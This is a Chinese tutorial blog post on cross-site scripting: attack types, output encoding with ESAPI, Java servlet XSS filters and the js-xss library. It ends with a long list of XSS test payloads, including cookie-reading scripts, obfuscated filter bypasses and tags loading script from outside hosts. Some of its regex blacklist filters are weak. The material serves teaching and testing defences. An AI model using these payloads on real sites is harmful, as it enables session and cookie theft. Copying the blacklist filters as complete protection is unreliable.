【应用安全之XSS一】XSS攻击测试以及防御

跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script(php,js等)代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

攻击实例

下面为一个Input标签:

<input type="text" value="value"></input>
当用输入值为" οnfοcus="alert(document.cookie)  时,
input标签内容变为 <input type="text" value=""onfocus="alert(document.cookie)"></input>

当input中的可以执行的js脚本被存储到数据库中。用户再次取出显示时。就会取到用户的cookie。从而得到用户名和密码。
(1)添加用户
在这里插入图片描述
(2)数据库中存储可执行脚本
在这里插入图片描述
(3)编辑用户(XSS攻击发生)
在这里插入图片描述

攻击危害

以上获取用户名和密码只是个简单的xss攻击,还有跟多的XSS攻击实例。例如将用户导航到其他网站,后台挂马操作等

总体来说,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。

存储型XSS

数据库中存有的存在XSS攻击的数据,返回给客户端。若数据未经过任何转义。被浏览器渲染。就可能导致XSS攻击;

反射型XSS

将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击;

DOM-XSS

纯粹发生在客户端的XSS攻击,比如:http://www.some.site/page.html?default=French
在这里插入图片描述

哪几种编码会导致xss攻击?

一、2.HTML实体编码

将不可信数据插入到HTML标签之间时,应对这些数据进行HTML Entity编码,具体编码对照表如下。

请添加图片描述
‘——' 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签

/ ——/

推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。HTML实体编码接口:

String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
二、HTML属性编码

将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码,不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,应该对这些数据进行JavaScript编码。

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
三、Script编码

主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。

可以使用ESAPI提供的函数进行JavaScript编码:

String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
四、CSS编码

当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。

可以使用ESAPI提供的函数进行CSS编码:

String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
五、URL编码

当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:

String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:

String userProvidedURL = request.getParameter(“userProvidedURL”);
boolean isValidURL = ESAPI.validator().isValidInput
(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) 
{<a href=<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>>
</a>}
六、使用富文本时,使用XSS规则引擎进行编码过滤

Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。

针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如, ,

等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在

,

等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到

推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

七、其他配合消减措施

1、对输入的数据进行黑白名单过滤;
2、为Cookie设置HttpOnly和Secure属性

附:使用ESAPI接口进行编码效果截图
在这里插入图片描述

XSS防御—样例

输入

客户端求情参数:包括用户输入,url参数、post参数。
在产品形态上,针对不同输入类型,对输入做变量类型限制。
如,http://xss.qq.com?default=12,Default值强制限制为整形
字符串类型的数据,需要针对<、>、/、’、”、&五个字符进行实体化转义。

输出

即使在客户端对用户的输入做了过滤、转义,攻击者一样可能,通过截包,转发等手段,修改你的请求包体。最终还是要在数据输出的时候做数据转义。

下面的HTML片段显示了如何安全地在多种不同的上下文中渲染不可信数据。

情况一

数据类型:String

上下文:HTML Body

示例代码:UNTRUSTED DATA

防御措施:HTML Entity编码

情况二

数据类型:String

上下文:安全HTML变量

示例代码:<input type="text" name="fname" value="UNTRUSTED DATA">

防御措施

  1. HTML Attribute编码

  2. 只把不可信数据放在安全白名单内的变量上(白名单在下文列出)

  3. 严格地校验不安全变量,如background、id和name

情况三

数据类型:String

上下文:GET参数

示例代码:<a href="/site/search?value=UNTRUSTED DATA">clickme</a>

防御措施:URL编码

情况四

数据类型:String

上下文:使用在src或href变量上的不可信URLs

示例代码:

<a href="UNTRUSTED URL">clickme</a>

<iframe src="UNTRUSTED URL" />

防御措施:

  1. 对输入进行规范化

  2. URL校验

  3. URL安全性认证

  4. 只允许使用http和https协议(避免使用JavaScript协议去打开一个新窗口)

  5. HTML Attribute编码

情况五

数据类型:String

上下文:CSS值

示例代码:<div style="width: UNTRUSTED DATA;">Selection</div>

防御措施:

  1. 使用CSS编码

  2. 使用CSS Hex编码

  3. 良好的CSS设计

情况六

数据类型:String

上下文:JavaScript变量

示例代码:

<script>var currentValue='UNTRUSTED DATA';</script>
<script>someFunction('UNTRUSTED DATA');</script>

防御措施:

  1. 确保所有变量值都被引号括起来
  2. 使用JavaScript Hex编码
  3. 使用JavaScript Unicode编码
  4. 避免使用“反斜杠转译”("、'或者\)
情况七

数据类型:HTML

上下文:HTML Body

示例代码:

UNTRUSTED HTML

防御措施:

[HTML校验 (JSoup, AntiSamy, HTML Sanitizer)]

(https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.236_-_Use_an_HTML_Policy_engine_to_validate_or_clean_user-driven_HTML_in_an_outbound_way)
情况八

数据类型:String

上下文:DOM XSS

示例代码:

防御措施:

基于DOM操作的XSS漏洞防御措施

所有输出的数据转义都应该遵守上表的规则,而针对同步数据和异步数据,有较大的使用区别做了区分:

同步数据

React页面主动屏蔽掉XSS,非react则需要对不可信任数据,要进行输出转义。

对于html白名单需求,可以使用SanitizeHelper模块提供了一个方法集合来处理非预期的HTML元素。
不同的使用方式,编码方式不同,java现成的工具可以用——ESAPI,不同位置如何转义可参照ESAPI文档,比如属性值转义:

String safe = ESAPI.encoder().encodeForHTMLAttribute(

request.getParameter( "input" ) );
  • 异步、后台直出给js使用的json数据

  • 对于不可信任的json数据。因为json数据可能用到不同的地方,所以转义可以放在前端js去转义。

  • 参与运算的动态变量,最好转化为对应类型后再运算。如number型.

  • 如果是字符串操作,保证字符串被引号包裹。

  • 不能使用eval ,new fuction,settimeout执行动态字符串,因为这个字符串很可能就是一个xss代码,如果无法避免,那么也要转义之后再参与运算。

  • 输出到页面上的数据必须使用相应方法转义,前端可以考虑寻找js插件处理。目前jquery-encoder,可用于前端json转义。使用方式与ESAPI类似,在需要渲染的时候进行转义。

后台攻击预防

原理:主要采用过滤器对请求中的特殊字符进行编码转化。从而将可以执行的script代码变为不可以执行的script脚本存储到数据库中。一般的java后端采用filter种重写requestwrapper的形式来实现xss的过滤和替换
在这里插入图片描述
1、使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法

/**
 * 解决XSS跨站脚本攻击和sql注入攻击,使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法
 */
public class XssSpringHttpServletRequestWrapper extends HttpServletRequestWrapper{

    public XssSpringHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    /**
     * 对数组参数进行特殊字符过滤
     */
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        String[] newValues = new String[values.length];
        for (int i = 0; i < values.length; i++) {
            //spring的HtmlUtils进行转义
            newValues[i] = HtmlUtils.htmlEscape(values[i]);
        }
        return newValues;
    }

    /**
     * 拦截参数,并对其进行字符转义
     */
    @Override
    public String getParameter(String name) {
        return HtmlUtils.htmlEscape(name);
    }

    /**
     * 拦截参数,并对其进行字符转义
     */
    @Override
    public Object getAttribute(String name) {
        return HtmlUtils.htmlEscape(name);
    }
}

2、实现XSS过滤器

/**
 * spring方式xss过滤器
 */
public class XssSpringFilter implements Filter{

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        chain.doFilter(new XssSpringHttpServletRequestWrapper(req), response);
    }

    @Override
    public void destroy() {

    }

}

3、配置XSS过滤器

<!-- spring方式的xss过滤器 -->
<filter>
    <filter-name>xssSpringFilter</filter-name>
    <filter-class>cn.aric.xss.XssSpringHttpServletRequestWrapper</filter-class>
</filter>
<filter-mapping>
    <filter-name>xssSpringFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

也可以自己实现一个xss的替换和过滤规则,注意如果要读取body参数的话,要注意流只能被读一次,因为read的指针已经移动到了文件末尾,会出现body找不到的情况这个时候你需要读取了inputStream之后,再将数据写回去

package com.yl.filter;
 
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
 
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
 
import org.springframework.beans.factory.parsing.ReaderEventListener;
 
 
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    boolean isUpData = false;//判断是否是上传 上传忽略
    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
        String contentType = servletRequest.getContentType ();
        if (null != contentType)
            isUpData =contentType.startsWith ("multipart");
    }
 
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values==null)  {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }
    
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
 
    /**
     * 获取request的属性时,做xss过滤
     */
    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (null != value && value instanceof String) {
            value = cleanXSS((String) value);
        }
        return value;
    }
 
    @Override
    public String getHeader(String name) {
 
        String value = super.getHeader(name);
        if (value == null)
            return null;
        return cleanXSS(value);
    }
    private  static  String cleanXSS(String value) {
        value = value.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
        value = value.replaceAll("%3C", "&lt;").replaceAll("%3E", "&gt;");
        value = value.replaceAll("\\(", "&#40;").replaceAll("\\)", "&#41;");
        value = value.replaceAll("%28", "&#40;").replaceAll("%29", "&#41;");
        value = value.replaceAll("'", "&#39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }
 
 
    @Override
    public ServletInputStream getInputStream () throws IOException {
        if (isUpData){
            return super.getInputStream ();
        }else{
 
            final ByteArrayInputStream bais = new ByteArrayInputStream(inputHandlers(super.getInputStream ()).getBytes ());
 
            return new ServletInputStream() {
 
                @Override
                public int read() throws IOException {
                    return bais.read();
                }
 
                public boolean isFinished() {
                    return false;
                }
 
                public boolean isReady() {
                    return false;
                }
 
                public void setReadListener(ReaderEventListener readListener) { }
            };
      }
 
    }
    public   String inputHandlers(ServletInputStream servletInputStream){
        StringBuilder sb = new StringBuilder();
        BufferedReader reader = null;
        try {
            reader = new BufferedReader(new InputStreamReader (servletInputStream, Charset.forName("UTF-8")));
            String line = "";
            while ((line = reader.readLine()) != null) {
                sb.append(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (servletInputStream != null) {
                try {
                    servletInputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (reader != null) {
                try {
                    reader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
        return  cleanXSS(sb.toString ());
    }
}

再贴一个xss的实现,使用正则匹配方式来实现过滤,但是这样也有可能出现正则漏洞攻击,但是安全这东西本身就是相对而言的。

 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.util.regex.Pattern;
 
 
public class XSSRequestWrapper extends HttpServletRequestWrapper {
 
    public XSSRequestWrapper(HttpServletRequest request) {
        super(request);
    }
 
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }
        return encodedValues;
    }
 
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return stripXSS(value);
    }
 
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        //return stripXSS(value);
        return value;
    }
 
    public String getQueryString() {
        String value = super.getQueryString();
        if (value != null) {
            value = stripXSS(value);
        }
        return value;
    }
 
    private String stripXSS(String value) {
        if (value != null) {
            // Avoid anything between script tags
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid anything in a
            // e­xpression
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome </script> tag
            scriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome <script ...> tag
            scriptPattern = Pattern.compile("<script(.*?)>",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid eval(...) e­xpressions
            scriptPattern = Pattern.compile("eval\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid e­xpression(...) e­xpressions
            scriptPattern = Pattern.compile("e­xpression\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid javascript:... e­xpressions
            scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid vbscript:... e­xpressions
            scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid οnlοad= e­xpressions
            scriptPattern = Pattern.compile("onload(.*?)=",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
 
            /*过滤html标签*/
            Pattern p_html = Pattern.compile("<[^>]+>", Pattern.CASE_INSENSITIVE);
            value = p_html.matcher(value).replaceAll("");
            Pattern p_html1 = Pattern.compile("<[^>]+", Pattern.CASE_INSENSITIVE);
            value = p_html1.matcher(value).replaceAll("");
 
        }
        return value;
    }
}

都写好了之后,记得编写Filter配置类

@Configuration
public class ServletConfig {
    
    @Bean
    public FilterRegistrationBean heFilterRegistration() {
        FilterRegistrationBean registration = new FilterRegistrationBean(new xssFilter());
        registration.addUrlPatterns("/*");
        return registration;
    }
}

XSS测试语句

部分测试:

<script>alert('hello,gaga!');</script> //经典语句,哈哈!

>"'><img src="javascript.:alert('XSS')">

>"'><script>alert('XSS')</script>

<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<s&#99;ript>alert('XSS')</script>

<img src="javas&#99;ript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

<IMG SRC="jav&#x09;ascript.:alert('XSS');">

<IMG SRC="jav&#x0A;ascript.:alert('XSS');">

<IMG SRC="jav&#x0D;ascript.:alert('XSS');">

"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

<BASE HREF="javascript.:alert('XSS');//">

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascript.:alert('XSS');">

"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG SRC="javascript.:alert('XSS')"

<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

前台进行编码禁止 XSS防御插件

官网:https://jsxss.com/zh/starter/quickstart.html
一个开箱即用的node插件,可通过简单的方式防止XSS攻击
安装

NPM

$ npm install xss
Bower
$ bower install xss

或者

$ bower install https://github.com/leizongmin/js-xss.git

在Node.js中使用

var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);

参考文章:
https://jsxss.com/zh/index.html
https://www.cnblogs.com/zzhoo/p/15407679.html
https://github.com/Kylelkh/js-xss

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值